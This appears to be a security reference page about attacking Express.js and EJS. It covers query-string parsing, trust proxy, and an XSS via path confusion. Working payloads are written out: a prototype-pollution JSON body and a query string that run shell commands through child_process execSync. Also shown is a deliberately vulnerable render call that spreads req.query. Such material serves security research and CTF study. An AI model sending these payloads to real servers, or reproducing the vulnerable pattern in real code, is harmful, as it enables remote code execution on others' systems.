Express.js

Express

Express is a minimalist web framework for Node.js which has 31 dependencies.

List of dependencies

Query string parsing

URLContent of request.query.foo in code
?foo=bar'bar' (string)
?foo=bar&foo=baz['bar', 'baz'] (array of string)
?foo[]=bar['bar'] (array of string)
?foo[]=bar&foo[]=baz['bar', 'baz'] (array of string)
?foo[bar]=baz{ bar : 'baz' } (object with a key)
?foo[]=bar['bar'] (array of string)
?foo[]baz=bar['bar'] (array of string - postfix is lost)
?foo[][baz]=bar[ { baz: 'bar' } ] (array of object)
?foo[bar][baz]=bar{ foo: { bar: { baz: 'bar' } } } (object tree)
?foo[10]=bar&foo[9]=baz[ 'baz', 'bar' ] (array of string - notice order)
?foo[toString]=bar{} (object where calling toString() will fail)

Table from OWASP - Node.js Security Cheat Sheet.

Trust proxy

Enabling trust proxy will have the following impact:

  • req.hostname = X-Forwarded-Host
  • req.protocol = X-Forwarded-Proto (https or http or even an invalid name)
  • req.ip and req.ips = X-Forwarded-For

The trust proxy setting is implemented using the proxy-addr package. See docs.

EJS

Embedded JavaScript templates (EJS) is a NodeJS library very often used by Express to create HTML templates.

RCE on render

The following code is inside EJS (lib/ejs.js - v3.1.9). If you control the value of both variables client and escape, you can get a RCE.

function Template(text, opts) {
    // ...
    options.client = opts.client || false;
    options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

    this.opts = options;
    // ...
  }

Template.prototype = {
    // ...
    compile: function () {
        var opts = this.opts;
        var escapeFn = opts.escapeFunction;

        if (opts.client) {
            src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
        }
        // ...
        // src is evaluated later
    }
}
EJS RCE - Proof of Concept

There are two options for controlling these variables.

  1. Abuse server-side prototype pollution (SSPP)
  2. Custom parameters to the render function of EJS

1. SSPP

Full article on mizu.re.

TL;DR:

{
    "__proto__": {
        "client": 1,
        "escape": "1;return process.mainModule.require('child_process').execSync('id');"
    }
}

2. Custom parameters of render

Inspired from the challenge Peculiar Caterpillar of the FCSC2023.

req.query will be equal to the options parameter passed to the render function of Express.

require("express")()
.set("view engine", "ejs")
.use((req, res) => {
    res.render("index", { ...req.query })
})
.listen(3000);

The render function of Express calls the renderFile function of EJS.

  • render => renderFile => ... => Template.new => Template.compile

Here is the code of the renderFile function of EJS:

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

// ...
exports.renderFile = function () {
    var args = Array.prototype.slice.call(arguments);
    var filename = args.shift();        // arg[0] = PATH of the template
    var opts = {filename: filename};

    // ...
    data = args.shift();                // arg[1] = {
                                        //    "settings": env, view engine, etag, ...,
                                        //    query string,
                                        //    "cache": false
                                        // }
    viewOpts = data.settings['view options'];
    if (viewOpts) {
      utils.shallowCopy(opts, viewOpts);
    }

    // 'client' is allowed to be copied
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    // ...

    return tryHandleCache(opts, data, cb);
};

The opts variable is then passed to the Template object. So, we can get a RCE with the following query string.

?client=1&settings[view options][escape]=1;return+process.mainModule.require("child_process").execSync("id").toString();

This query string is equals to:

{
  settings: {
    'view options': {
      escape: '1;return process.mainModule.require("child_process").execSync("id").toString();'
    }
  },
  client: '1'
}

Base routing

File: main.js

const express = require('express')

const port = 3000;
const app = express()

app.use(
	express.static('static', {
		index: 'index.html'
	})
)

app.use((req, res) => {
	res.type('text').send(`Page ${req.path} not found`)
})

app.listen(port, async () => {
	console.log(`Listening on http://0.0.0.0:${port}`)
})

File: static/index.html

<html>
	<head>
		<title>Home</title>
	</head>
	</body>
		<h3>Home</h3>
		<script src="index.js"></script>
	</body>
</html>

If you visit /example/..%2Findex.html, your browser will load the JS script index.js at /example/index.js.

Similarly, if you visit /1+alert();var[Page]=1//..%2Findex.html, the browser will load the JS script at /1+alert();var[Page]=1//index.js. Consequently, the content of the script index.js will be:

Page /1+alert();var[Page]=1//index.js not found

An alert will be then executed.